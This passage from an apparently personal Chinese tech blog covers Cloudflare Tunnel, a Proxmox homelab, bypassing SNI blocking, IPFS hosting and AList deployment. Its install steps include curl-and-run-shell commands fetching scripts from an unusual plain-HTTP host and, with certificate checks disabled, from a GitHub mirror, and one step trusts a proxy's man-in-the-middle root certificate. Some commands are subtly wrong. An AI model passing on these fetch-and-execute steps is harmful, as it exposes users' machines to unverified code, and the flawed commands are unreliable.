tiROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff altname enp0s18 inet 192.168.124.34/24 brd 192.168.124.255 scope global dynamic ens18 valid_lft 46579sec preferred_lft 46579sec inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d/64 scope global dynamic mngtmpaddr valid_lft 1902sec preferred_lft 1898sec inet6 fe80::be24:11ff:fe33:e17d/64 scope link valid_lft forever preferred_lft foreverti </code></pre> 然后前往配置并访问Tunnel</a> 原生模式（以Debian为例）</h2> 选择Debian，然后复制底下的命令，直接到终端执行 如果你的环境无法连接上Github 尝试手动下载：https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb</a> 然后将其通过SSH等方式传到Linux上，如图终端为MobaXterm 然后使用：dpkg -i cloudflared-linux-amd64.deb</code>安装这个软件包 然后直接复制右边的命令到SSH终端执行 然后前往配置并访问Tunnel</a> Android（Termux）</h2> 在Android上安装Termux | The main termux site and help pages.</a> 在终端执行：pkg install cloudflared</code> 选择Debian</code>然后复制最右边的命令到终端执行如果你无法使用Termux自带的cloudflared，请尝试安装proot容器实现 依次输入命令： pkg update && pkg upgrade pkg install proot pkg install proot-distro proot-distro list proot-distro install debian proot-distro login debian apt install wget wget https://github.com/cloudflare/cloudflared/releases/download/2024.10.1/cloudflared-linux-arm64.deb dpkg -i cloudflared-linux-amd64.deb </code></pre> 然后直接复制右边的命令到SSH终端执行 如果你无法通过令牌配置cloudflared，请参见本地方式配置cloudflared</a> 然后前往配置并访问Tunnel</a> 配置并访问Tunnel</h1> 通过网页配置</h2> 这种方法需要直接在安装了cloudflared的设备上通过令牌运行 </blockquote> 如图进入，创建一个HTTP隧道 填写你的IP和端口，非Docker模式可以直接填写localhost 本地方式</h2> 这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权，后续更改配置也需要在本地操作 </blockquote> 登录并授权：cloudflared tunnel login</code> 创建隧道并设置隧道（HTTP模式穿透，目标地址127.0.0.1</code>，端口：8080</code>，外部域名：test.onani.cn</code>）：cloudflared tunnel --name test --url http://127.0.0.1:8080 --http2 --hostname test.onani.cn</code> 访问测试</h2> 成功访问 使用STUN打洞</h1> 这种方法可以不进行任何配置直接在公网上被访问，并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口，在3~7天后会改变 </blockquote> 安装Lucky</h2> 执行：curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh && sh /tmp/install.sh http://6.666666.host:6/files 2.13.4</code> 通过host:16601</code> 进入Lucky后台，设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口 N100 - PVE（fnOS+Debian）基建记录 2024-10-28T00:00:00+00:00 N100 CPU 频率：最小 700 Mhz, 最大 3400 Mhz | TDP：6 W </li> 8G RAM </li> 128G M.2 NVme SSD </li> 512G SATA HDD </li> Realtek R8168 有线网卡 </li> USB有线网卡 </li> U盘（作PVE引导盘） </li> </ul> 目标</h1> 所有系统通过PVE管理 </li> PVE下安装fnOS，作NAS并配置自动追番（直通：N100核显</code> 512G SATA HDD</code> ） </li> PVE下安装Debian，搭建QQBot、博客、AList </li> </ol> 1. PVE</h1> 安装</h2> 下载Ventoy最新版可执行文件： https://www.ventoy.net/cn/download.html</a> 使用GPT分区表，NTFS格式将Ventoy写入U盘</li> </ul> </li> 下载PVE最新版ISO（使用USTC镜像源）： https://mirrors.ustc.edu.cn/help/proxmox.html</a> 将PVE的ISO文件放入U盘根目录</li> </ul> </li> 插入USB网卡，U盘连接到到N100，开机从U盘启动，进入PVE安装界面，安装PVE。网络配置选择USB网卡 </li> 重启，进入PVE，通过IP+8006端口进入WebUI，登录进去 </li> </ul> 配置</h2> 安装PVE快捷管理脚本</h3> 安装PVE快捷管理脚本：pve_source.tar.gz | AcoFork-AList</a> 或 https://wwp.lanzoul.com/ivHta1ngmo6d</a> （密码:i1ws）（来自：在下莫老师） 解压：tar zxvf pve_source.tar.gz</code> </li> 运行：./pve_source</code> </li> 同意许可协议 </li> 依次执行白框操作 </li> 扩容local：lvextend -rl +100%FREE /dev/pve/root</code> </li> </ul> </li> </ul> 配置Realtek R8168网卡</h3> 由于Debian系默认安装R8169驱动，我们需要手动安装R8168驱动，否则无法使用N100小主机自带的有线网口上网 </blockquote> 下载驱动： https://www.realtek.com/Download/List?cate_id=584</a> </li> 解压，安装：sh autorun.sh</code> </li> 查看是否有新的网络接口：ip a</code> </li> root@n100-pve:~# ip a ... 2: enp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff ... </code></pre> </li> 配置网络配置文件：nano /etc/network/interfaces</code> # network interface settings; autogenerated # Please do NOT modify this file directly, unless you know what # you're doing. # # If you want to manage parts of the network configuration manually, # please utilize the 'source' or 'source-directory' directives to do # so. # PVE will preserve these directives, but will NOT read its network # configuration from sourced files, so do not attempt to move any of # the PVE managed interfaces into external files! auto lo iface lo inet loopback iface wlp1s0 inet manual iface enp3s0 inet manual auto vmbr1 iface vmbr1 inet static address 192.168.124.25/24 gateway 192.168.124.1 bridge-ports enp3s0 bridge-stp off bridge-fd 0 iface vmbr1 inet6 auto dhcp 1 accept_ra 2 request_prefix 1 source /etc/network/interfaces.d/* </code></pre> </li> 重启网络服务：systemctl restart networking</code> </li> 查看ip：ip a</code> root@n100-pve:~# ip a ... 2: enp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff ... 4: vmbr1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff inet 192.168.124.25/24 scope global vmbr1 valid_lft forever preferred_lft forever inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6/64 scope global dynamic mngtmpaddr valid_lft 2763sec preferred_lft 2762sec inet6 fe80::2e0:4cff:fe08:91a6/64 scope link valid_lft forever preferred_lft forever </code></pre> </li> 卸除USB网卡 </li> </ul> 配置STUN穿透</h3> 路由器设置DMZ主机为PVEIP</h4> </li> </ul> 安装Lucky</h4> 执行：curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh && sh /tmp/install.sh http://6.666666.host:6/files 2.13.4</code> </li> 通过host:16601</code> 进入Lucky后台，设置STUN穿透 </li> </li> </ul> 2. fnOS</h1> 安装</h2> 前往官网下载最新版ISO： https://www.fnnas.com/</a> </li> 上传至PVE： </li> 创建fnOS虚拟机，CPU类型选择host，步骤略 </li> 直通核显和硬盘： </li> 如果你不知道你的核显和SATA控制器的PCI ID：lspci</code> 可见核显为00:02.0</code>，SATA控制器为00:17.0</code> root@n100-pve:~# lspci 00:00.0 Host bridge: Intel Corporation Device 461c 00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics] 00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01) 00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller 00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM 00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller 00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller 00:1a.0 SD Host controller: Intel Corporation Device 54c4 00:1c.0 PCI bridge: Intel Corporation Device 54be 00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port 00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port 00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller 00:1e.3 Serial bus controller: Intel Corporation Device 54ab 00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller 00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller 00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus 00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller 01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83) 02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01) 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 2b) </code></pre> </li> </ul> </li> 启动虚拟机，安装fnOS </li> </ul> 配置</h2> 前往飞牛设置，创建储存空间，Linear模式，选择刚才直通的硬盘 </li> 前往飞牛应用中心安装qBittorrent、影视，并且在设置给予目录读取权限 </li> 配置qBittorrent的用户名和密码 </li> 打开飞牛Docker，初始化 </li> 拉取并运行AutoBangumi Docker镜像： docker run -d \ --name=AutoBangumi \ -v /vol1/1000/AutoBangumi/config:/app/config \ -v /vol1/1000/AutoBangumi/data:/app/data \ -p 7892:7892 \ -e TZ=Asia/Shanghai \ -e PUID=$(id -u) \ -e PGID=$(id -g) \ -e UMASK=022 \ --network=bridge \ --dns=8.8.8.8 \ --restart unless-stopped \ ghcr.onani.cn/estrellaxd/auto_bangumi:latest </code></pre> </li> 进入host:7892</code> 让AutoBangumi连接qBittorrent并配置下载地址 </li> 添加RSS。可前往蜜柑计划 - Mikan Project</a>获得各个字幕组的RSS 注意：使用蜜柑计划 - Mikan Project</a>时，请订阅单个字幕组的RSS，不要使用个人的RSS，会导致只能获取到你所有追番的最新一集而不是单个番的全部剧集 </li> 打开飞牛影视，初始化并设置媒体库 注意：如果要刮削旧集旧番，请规范重命名，可以使用自动化工具：Episode-ReName.zip | AcoFork-AList</a> 一级目录：即qb下载目录，无需重命名 </li> 二级目录：番剧名称 </li> 三级目录：季，如Season 1</code> </li> 四级目录：集和字幕，如S01E01.mp4</code> S01E01.chs.ass</code> </li> </ul> </li> </ul> </li> </ul> 3. Debian</h1> 安装</h2> 下载Debian12 ISO（USTC镜像源）（建议选择DVD镜像，包更全，安装更快） https://mirrors.ustc.edu.cn/help/debian-cd.html</a> </li> 上传至PVE，创建Debian虚拟机，CPU类型选择host，步骤略 </li> </ul> 安装1Panel：</h3> https://1panel.cn/docs/installation/online_installation/</a> 在1Panel中安装Openresty</code> MySQL</code> Halo</code> AList</code> Cloudflared</code> 配置步骤略</li> </ul> 搭建QQBot</h3> 安装OneBotv11协议实现：Lagrange.OneBot</h4> Docker Run：docker run -td -p 8081:8081 -v /root/qqbot/lo:/app/data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn/lagrangedev/lagrange.onebot:edge</code> </li> 修改配置文件：appsettings.json</code> { "Logging": { "LogLevel": { "Default": "Information", "Microsoft": "Warning", "Microsoft.Hosting.Lifetime": "Information" } }, "SignServerUrl": "", "SignProxyUrl": "", "MusicSignServerUrl": "", "Account": { "Uin": 0, "Password": "", "Protocol": "Linux", "AutoReconnect": true, "GetOptimumServer": true }, "Message": { "IgnoreSelf": true, "StringPost": false }, "QrCode": { "ConsoleCompatibilityMode": false }, "Implementations": [ { "Type": "ReverseWebSocket", "Host": "192.168.124.34", "Port": 9090, "Suffix": "/onebot/v11/ws", "ReconnectInterval": 5000, "HeartBeatInterval": 5000, "AccessToken": "" } ] } </code></pre> </li> 重启容器，扫码登录 </li> </ul> 安装NoneBot2</h4> 安装pip：apt install python3-pip</code> </li> 配置pip USTC源：pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple</code> </li> 安装pipx：apt install pipx</code> </li> 安装nb-cli：pipx install nb-cli</code> </li> 设置pipx变量：pipx ensurepath</code> </li> 安装nb bootstrap：nb self install nb-cli-plugin-bootstrap</code> </li> 创建新NoneBot2项目：nb bs</code> </li> root@n100-debian:~# nb bs 加载适配器列表中…… 请输入项目名称 [?] 请输入 > onani [?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议) 请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入） [?] 第 1 项 > 666 [?] 第 2 项 > 请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入） [?] 第 1 项 > 请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，如果有一个指令为查询，当该配置项中有 "/" 时使用 "/查询" 才能够触发，留空将使用默认值 ['', '/', '#']（留空回车结束输入） [?] 第 1 项 > 请输入 Bot 命令分隔符，一般用于二级指令，留空将使用默认值 ['.', ' ']（留空回车结束输入） [?] 第 1 项 > 请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可 [?] 请输入 > 0.0.0.0 请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关 [?] 请输入 > 9090 [?] 是否在项目目录中释出快捷启动脚本？ Yes [?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes [?] 是否使用超级用户 Ping 指令回复插件？ Yes [?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes [?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No 成功新建项目 onani [?] 是否新建虚拟环境？ Yes 正在 /root/onani/.venv 中创建虚拟环境创建虚拟环境成功 [?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No [?] 是否立即安装项目依赖？ Yes 正在安装项目依赖依赖安装成功 [?] 请选择需要启用的内置插件项目配置完毕，开始使用吧！ </code></pre> </li> </ul> 成果展示（域名已弃用）</h1> https://blog.onani.cn</a> https://alist.onani.cn</a> 让我们来探讨一下如何绕过GFW 2024-10-21T00:00:00+00:00 首先，我们要知道GFW是如何封锁我们的流量的</h3> IP黑洞：目前无解，但仅对部分服务黑洞，如谷歌系（谷歌、推特、YouTube等） </li> DNS污染：为域名返回一个假的IP。使用hosts文件强制指定域名对应ip或者使用加密的DNS（DoH、DNS 签名等）就可以解决 </li> HTTP劫持：因为流量不是加密的，GFW作为天然的中间人可以直接进行篡改（如：重定向到404页面、劫持到反诈页面等）。可以使用HTTPS连接规避，但你可能会遇到SNI阻断 </li> SNI阻断：在客户端与服务器建立加密连接前，客户端会发送 Client Hello</code> 报文，而这个报文是明文，并且一般都会携带 server_name</code> ，GFW可以知道你要访问哪个网站，对不在白名单（如：discord.com）的域名进行阻断。因为 server_name</code> 实际上是一个扩展，并不强制，你可以不发送它来规避SNI阻断 </li> </ol> 那么，让我们分析一下GFW对于不同网站的封锁情况</h3> 我们使用WireShark进行抓包 首先尝试访问 www.baidu.com</code> 这是一个没有被GFW封锁的域名 我们先ping一下 </li> 得到ip： 2408:873d:22:18ac:0:ff:b021:1393</code> </li> 通过Hosts强制绑定 </li> 通过WireShark进行抓包，可以看到，客户端发送的 Client Hello</code> 可以清晰地看到 Server Name</code> 字段，并且也能正常收到 Server Hello</code> 然后双方便开始通信 </li> 查看浏览器，网站正常访问 </li> </ol> </li> 让我们试试访问 discord.com</code> 我们先ping一下，可以发现，域名和解析到的IP均不通 </li> 此时我们尝试使用 itdog.cn</code> 进行v4 ping，并且依次对解析出的域名进行ping </li> 可见，第一个IP通 </li> 强制绑定Hosts，尝试抓包 </li> 可见，在通过强制Hosts绑定后，在客户端发送 Client Hello</code> 后被GFW检测到Server Name</code> 字段，然后GFW向客户端发送一个 RST</code> 报文，即要求重置客户端连接。在客户端侧，则会收到 ERR_CONNECTION_RESET</code> 即：连接已重置。用户无法访问网页。 </li> </ol> </li> </ul> 继续，尝试发送空 Server Name</code> 报文</h3> 成功访问。在WireShark中并未发现 Server Name</code> 字段 那么，有没有什么软件可以帮我们不发送Server Name呢？有的，兄弟有的 方法一：ECH</h1> 注意：本方法实际上是启用一个尚未普及的技术：加密SNI。该方法并不能让所有明确被SNI阻断的网站恢复正常访问。尽管客户端（你）支持ECH，若服务器不支持，则在服务器看来那就是一个非法请求，不予受理如果想要本方法奏效，你需要确保： 网站托管在Cloudflare或者托管商声明支持ECH</li> 网站域名被SNI阻断，客户端被发RST包</li> </ol> </blockquote> 首先我提供一个网站：https://www.cloudflare-cn.com/ssl/encrypted-sni/#results 这个网站可以查询你的浏览器是否正在使用ECH。进入网站点击检查我的浏览器</code> ，待检查完毕后，检查安全 SNI</code> 一项是否为 √</code> 如果你为 ×</code> ，也不要气馁，我们现在来解决 Edge浏览器</h3> 右键桌面的快捷方式点击属性，在目标一栏中添加 --enable-features=EncryptedClientHello</code> 打开设置，搜索DNS，找到使用安全的 DNS 指定如何查找网站的网络地址</code> （当前版本我叫这个。反正就是配置DoH的地方）选择Cloudflare （1.1.1.1）</code> 再次测试即可（其他浏览器我没测试，应该大同小异，网上搜索一下XX浏览器开启ECH就行）接下来尝试访问：https://iwara.tv 。你应该能直连了 方法二：Accesser</h1> 本方法采用一个神奇的方法来绕过SNI阻断，域前置。原理为客户端先找网站要一张SSL证书，然后再用这个通用证书写好要访问的网站发给服务器，这样，GFW也就看不见你要访问的网站，也就没法进行SNI阻断。注意：本方法需要在本地运行一个程序并且劫持所有HTTP流量，可能会导致某些正常上网情况下不会出现的问题，请酌情使用 </blockquote> https://github.com/URenko/Accesser</a> Accesser是一个HTTP代理。它通过中间人的身份处理终端的HTTP出口流量，以绕过SNI阻断。我们正常访问网站时，客户端会发送Client Hello，而这个报文是明文，并且通常会携带ServerName，这个时候GFW就能通过检测ServerName来进行阻断，代替网站向客户端发送一个RST报文重置连接，做到网站被“墙”的效果 而通过Accesser代理后，它会抹掉ServerName然后发送Client Hello。这个时候，如果服务端支持域前置，则会返回客户端一个默认的SSL证书（公钥），然后客户端就能使用这个公钥再次发送一个加密的Client Hello，此时携带上ServerName就不会被GFW阻断了。但是，如果客户端在第一次我们拿公钥的时候拒绝了空ServerName的Client Hello，那这个办法就失效了，不过大部分网站是支持这样做的 Windows</h3> 前往开头的的Github仓库 </li> 下载最新的Release。一般有一个accesser.exe</code> </li> 直接打开这个软件，看到这个画面即可 </li> 它的原理是自动设置系统代理，如果你使用了一些别的代理软件，会被覆盖 </li> </ul> Linux（以Debian12为例）</h3> 安装Python：apt install python3</code> </li> （可选）创建虚拟环境：python -m venv venv</code> </li> （可选）进入虚拟环境：source venv/bin/activate</code> </li> 安装Accesser：python3 -m pip install -U accesser</code> </li> 运行：accesser</code> </li> 它会提示你需要信任 root.crt</code> 。关闭Accesser </li> 我的证书文件在 /root/Accesser/venv/lib/python3.11/site-packages/accesser/CERT/root.crt</code> </li> cd到你的证书目录：cd /root/Accesser/venv/lib/python3.11/site-packages/accesser/CERT</code> </li> 信任证书：sudo cp root.crt /usr/local/share/ca-certificates/</code> </li> 更新证书存储：sudo update-ca-certificates</code> </li> 设置全局代理：sudo nano /etc/environment</code> </li> http_proxy="http://127.0.0.1:7654" https_proxy="http://127.0.0.1:7654" no_proxy="localhost,127.0.0.1" </code></pre> </li> 重启即可 </li> 测试连通性：curl -x https://discord.com</code> </li> </ul> 使用基于IPFS的Fleek部署静态网站、托管图床、部署服务 2024-10-17T00:00:00+00:00 本文过旧，某些资源可能已经不可用 </blockquote> 什么是IPFS？</h3> IPFS，是点到点的超媒体协议，它让网络更快、更安全、更开放。说简单一点，它就是一个去中心化互联网。说技术一点，它是一个基于分布式哈希表DHT进行内容寻址的，基于git模型版本管理的，基于默克尔对象关联的，基于点对点技术的，基于全球化命名空间IPNS的，基于各种技术的，一种分布式文件系统。 </blockquote> 用人话说，你可以把它看成一个共享网盘，你可以尝试下载IPFS - Desktop（适用于有图形界面的系统）</a>或kubo - ipfs（适用于CLI）</a>。然后启动IPFS，你的设备将成为IPFS网络中的一个节点，如图 使用IPFS能做什么？</h3> 当你连接到IPFS网络后，IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点，你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点，等待分发，让网络上的其他用户可以访问你的文件。在IPFS网络中，访问文件通过IPFS网关，如：https://ipfs.io/ipfs/</code> + CID（文件哈希）</code> 实现访问。比如： https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4 （这里使用 ipfs.crossbell.io</code> 这个CrossBell托管的IPFS网关来规避GFW封禁） 这项技术真的有这么理想吗？</h3> 这项技术确实很理想，但是实际应用下来会遇到以下问题 通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问 </li> 发现的节点太少 </li> 可能会大量占用你的带宽 </li> </ol> 这些问题大部分原因都是因为这个网络太过于庞大，而单个IPFS节点的权重很低，尽管IPFS的分发一般在几小时内可以完成。但对于个人来说，我们应当寻找一些服务商帮我们完成这些需求，它们往往在IPFS网络中的权重更大，进行文件更新的效率也很高，同时也提供一些扩展服务，比如自动化Git部署。而这篇文章使用的则是Fleek 关于Fleek</h3> 你可以简单理解为它权重很大，有很多的IPFS节点，经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播，并且支持连接Git存储库部署项目和绑定你的域名 Fleek是否值得信赖？</h3> 本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式 xxx-xxx.fleek.app</code>：这个域名使用了Cloudflare CDN，实测解析IP的数量为2，不建议使用 </li> ：这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值，当你的网站改动后你的CID会发生变化 </li> 绑定自定义域名来访问，这将会使用亚马逊的CDN并且自动映射CID，实测解析IP数量超过30，并且速度很快 [!WARNING] 注意，任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式） </blockquote> </li> </ol> </li> 尽管显示了IPFS的文件浏览界面，但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的，实际上仍为中心化网络 </li> </li> 当你的设备已经连上IPFS网络后，所有流量将使用P2P（去中心化），所以你看到的访问地址实际上是本机地址 </li> </ul> 梳理一下思路，我们可以用Fleek做到什么</h3> 让Fleek连接你的Git存储库，通过构建命令构建静态网站，并发布到IPFS，同时兼容HTTP访问 正式开始</h4> 前往fleek.xyz，通过MetaMask登录 </li> 连接你的Git存储库，输入构建命令等相关信息 </li> 部署网站 </li> 绑定域名 </li> 最终访问 </li> </ol> 效果图： 拓展一下，我们还可以通过IPFS技术做什么？（域名已弃用）</h4> 创建一个巨大的图床，已经投入使用，参见： https://pic.onani.cn （原理：请求 https://ipfs-pic.onani.cn ，获取图片列表，随机选择使用JS展示） </li> 无需再自托管任何图片，已经投入使用，本博客所有图片都使用IPFS存储 </li> 理论上，你可以将任何占用存储的服务上传到IPFS，实现存算分离 </li> </ol> 教你把AList的前端部署到CF Pages！让你的AList秒加载！ 2024-10-15T00:00:00+00:00 前情提要#</a></h2> 本教程不是 AList 的无服务器部署，仅将前端页面部署到 Cloudflare Pages，这样用户就能很快从 cf 的边缘节点拉取前端文件，而不用 cf 回源，提高浏览体验，后端仍然需要一台开放到公网的服务器部署 AList（无公网服务器可使用 Cloudflare Tunnels） 首先，保证你的后端服务器支持v4v6双栈访问</h3> 使用Cloudflare Tunnel，套cf </li> 分别设置A和AAAA解析，麻烦，如果你的IP很快，那其实可以不用前后端分离，暴露源站的前后端分离也不能避免被DDoS，因为你的源站会在HTTP报文中暴露 </li> </ol> 然后，开始正式将AList前端部署到Cloudflare Pages</h3> Fork仓库： https://github.com/alist-org/alist-web</a> </li> 更改项目根目录的env.production</code>文件为你的后端服务器地址 </li> 将仓库克隆到本地，需要安装Git</a>： </li> </ol> 使用SSH（需要持有你的Github SSH私钥）： git clone git@github.com:你的用户名/你Fork的仓库使用HTTPS（Not Use Magic有概率SSL握手失败）： git clone git@github.com:你的用户名/你Fork的仓库 </code></pre> 下载汉化包：AcoFork 的网盘</a>或Crowdin - 需要登录</a> </li> 解压，将alist (zh-CN)\src\lang</code>里面的Zh-CN</code>文件夹复制到仓库下src/lang</code>下</li> 编辑根目录的.gitignore</code>，添加一行!/src/lang/zh-CN/</code>确保文件不被忽略</li> 下载Nodejs</a>。在根目录打开终端，生成中文需要的文件：</li> </ol> 安装cnpm： npm install -g cnpm --registry=https://registry.npmmirror.com 安装依赖： cnpm install --legacy-peer-deps 生成中文需要的文件： node .\scripts\i18n.mjs </code></pre> 将更改提交到暂存区并提交到远程仓库，在根目录打开终端</li> </ol> git add . //将更改提交到暂存区 git commit -m 添加中文 //发布提交 git push -f //强制将更改提交到远程仓库 </code></pre> 进入Cloudflare 仪表盘</a>，进入 Workers 和 Pages 页面 </li> 创建一个 Pages，选择连接 Git 存储库 </li> 选择你的存储库，开始设置 </li> 构建命令输入：pnpm install && pnpm build</code>，构建输出目录选择/dist</code> </li> 等待 Cloudflare 构建结束，为 Pages 绑定自定义域 </li> 访问自定义域，查看 AList 是否正常 </li> </ol> 定制 AList#</a></h3> 我们都知道 AList 支持自定义头部和内容，但是因为 Cloudflare Pages 是一个静态页面，所以我们采用硬编码方式，直接将需要自定义的内容写入仓库根目录的index.html</code> </blockquote> 编辑根目录的index.html</code></li> 将更改提交到暂存区并提交到远程仓库，在根目录打开终端</li> </ol> git add . //将更改提交到暂存区 git commit -m 你的提交摘要 //发布提交 git push -f //强制将更改提交到远程仓库 </code></pre> Cloudflare Pages 会自动重新构建，等待新网页构建完成即可 </li> </ol> 疑难解答</h3> 如果你遇到构建错误（找不到solid-route/src）的情况，可以尝试查看你fork的仓库通过本地拉取下来后根目录的 solid-route</code> 文件夹是不是空的，如果是，请前往 https://github.com/alist-org/alist-web 手动将 solid-route</code> 文件夹里的内容搬到你仓库中，然后尝试重新构建</li> </ol> 傻瓜式AI翻唱软件Replay！选歌！选模型！然后CREATE SONG！ 2024-10-15T00:00:00+00:00 AI翻唱！仅需两步！</h3> 前往Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)</a>下载Replay </li> 打开Replay，首先根据引导下载数据包（约11G）。然后根据图片操作，选择歌曲和模型，最后点击 CREATE SONG</code> 即可！ </li> </ol> 飞牛NAS玩机体验 2024-10-14T00:00:00+00:00 吸引我的东西</h3> 影视刮削：飞快，薄纱Plex几条街。通过AutoBangumi</a>可以完美自动追番+刮削一条龙服务。偶尔会有不准，但可以手动匹配，数据源来自TMDB</a>和IMDB</a> </li> 相册：可以通过手机APP自动备份，支持仅备份图片，可以多用户使用，存储互不干扰，也可以设置要共享的图片 </li> </ol> 注意事项</h3> 飞牛NAS在安装的时候会叫你选择安装盘，然后会将安装盘的一部分空间（默认为64GB）作为系统分区，其余空间可用于创建存储空间（但是系统盘不能和别的盘组存储池，只能单独建存储池） </li> 应用商店安装的软件需要先授予目录访问权限应用才能读取目录（无论是原生还是Docker应用） </li> 发行版为Debian 12。根目录为系统分区的空间，/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用RaiDrive</a>或SSHFS</a>挂载Linux目录到Windows </li> SSH需要自己开，账密为NAS管理员账密，建议登上之后改为仅密钥登录，参见：设置 SSH 通过密钥登录</a> </li> 各网卡测试 名称</th> 类型</th> 品牌</th> 是否免驱</th></tr></thead> Realtek GBE Family （r8168）</td> 有线</td> Realtek（瑞昱）</td> 否，需要自行安装驱动</td></tr> Realtek 8852BE</td> 无线</td> Realtek（瑞昱）</td> 否，需要自行安装驱动</td></tr> Intel AC3160</td> 无线</td> Intel（英特尔）</td> 是</td></tr> USB有线网卡</td> 有线</td> Realtek（瑞昱）</td> 是</td></tr> </tbody></table> </li> 各存储模式区别 模式</th> 作用</th> 是否能扩容</th> 是否能换盘</th> 容灾</th> 是否能热备</th> 是否能修改存储模式</th></tr></thead> Basic</td> 将物理硬盘的一部分或者全部作为一个存储池，不可扩容，仅能单盘创建这个模式</td> 否</td> 否</td> 无</td> 否</td> 是，可转为RAID</td></tr> Linear</td> 将一个或多个物理硬盘的一部分或者全部作为一个存储池，可扩容</td> 是</td> 否</td> 无</td> 否</td> 否</td></tr> RAID类</td> 自行使用搜索引擎搜索，更详细</td> 未测试</td> 未测试</td> 未测试</td> 未测试</td> 未测试</td></tr> </tbody></table> NAS迅雷内测码：迅雷牛通</li> </ol> </li> </ol> 记录 1999-01-01T00:00:00+00:00 pip install keyboard pyperclip pillow boto3 pyautogui </code></pre> ShellClash</h1> 用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash config.yaml</code> 来实现 </blockquote> https://github.com/juewuy/ShellCrash Tg通知频道：https://t.me/ShellClash ```bash -c "$(curl -kfsSl https://raw-githubusercontent-com.072103.xyz/juewuy/ShellClash/master/install.sh)" && source /etc/profile &> /dev/null </code></pre> 打开CLI：clash、crash 导入配置文件：6-2 安装本地Web面板：9-4-1 开机自启：4-1 Vless通用配置（不加密）</h1> { "inbounds": [ { "port": 1080, // 监听端口，可以根据需要修改 "protocol": "vless", // 使用 VLESS 协议 "settings": { "clients": [ { "id": "0721-07210721onani", // 这里是一个 UUID，用于识别用户 "level": 0, // 用户等级，设置为 0 表示普通用户 "email": "user@example.com" // 用户邮箱（可选） } ], "decryption": "none" // 设置为 none，表示没有加密 }, "streamSettings": { "network": "tcp", // 使用 TCP 网络 "security": "none" // 不使用加密，适用于 VLESS } } ], "outbounds": [ { "protocol": "freedom", // 允许自由流量通过 "settings": {} } ], "routing": { "rules": [] } } </code></pre> AMD笔记本优化</h1> 目标：关闭fTPM并且禁止系统重新安装、关闭Windows自动更新 </blockquote> 关闭fTPM：组策略编辑器：计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备</code> 填写：设备管理器中的受信任的平台模块 2.0 的详细信息 - 设备实例路径</code>中的值</li> 关闭Windows自动更新：计算机配置 - 管理模板 - 